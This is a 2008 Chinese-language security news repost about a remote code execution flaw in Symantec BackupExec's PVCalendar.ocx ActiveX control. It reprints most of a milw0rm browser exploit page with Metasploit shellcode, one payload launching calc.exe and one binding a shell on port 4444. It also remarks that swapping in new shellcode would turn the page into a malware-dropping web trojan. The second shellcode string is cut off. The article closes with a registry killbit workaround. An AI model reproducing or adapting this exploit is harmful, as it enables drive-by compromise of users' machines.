Symantec存在远程执行漏洞0day

    [晴 March 2, 2008 12:38 | by ]
来源:CnBeta
milw0rm于今早公布一个Symantec的远程执行漏洞的EXP DEMO代码,黑客可以通过简单修改该代码的SHELLCODE,再经过ALPHA2编码便可构造一个下载病毒的网页木马。目前尚未拦截到利用该漏洞的网马出现。

EXP代码:
<!--
Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit
Vulnerability discovered by JJ Reyes of Secunia Research
http://secunia.com/advisories/27885/
written by e.b.
Tested on Windows XP SP2(fully patched) English, IE6 and IE7, PVCalendar.ocx version 10.0.0.17
Thanks to h.d.m. and the Metasploit crew
-->
<html>
<head>
  <title>Symantec BackupExec Calendar Control(PVCalendar.ocx) BoF Exploit</title>
  <script language="JavaScript" defer>
    function Check() {
    
// win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com
var shellcode1 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");

// win32_bind -  EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com
var shellcode2 = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4949%u4949%u4949%u4949%u4949%u4937%u5a51%u436a" +
                          "%u3058%u3142%u4150%u6b42%u4141%u4153%u4132%u3241" +
                          "%u4142%u4230%u5841%u3850%u4241%u7875%u4b69%u724c" +
                          "%u584a%u526b%u4a6d%u4a48%u6b59%u6b4f%u694f%u416f" +
                          "%u4e70%u526b%u744c%u4164

测试页面:

http://www.milw0rm.com/exploit.php?id=5205

目前尚未修复此漏洞,等待官方升级其间可以使用:

临时解决方案:

给{22ACD16F-99EB-11D2-9BB3-00400561D975}设置killbit.

Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{22ACD16F-99EB-11D2-9BB3-00400561D975}]
“Compatibility Flags”=dword:00000400
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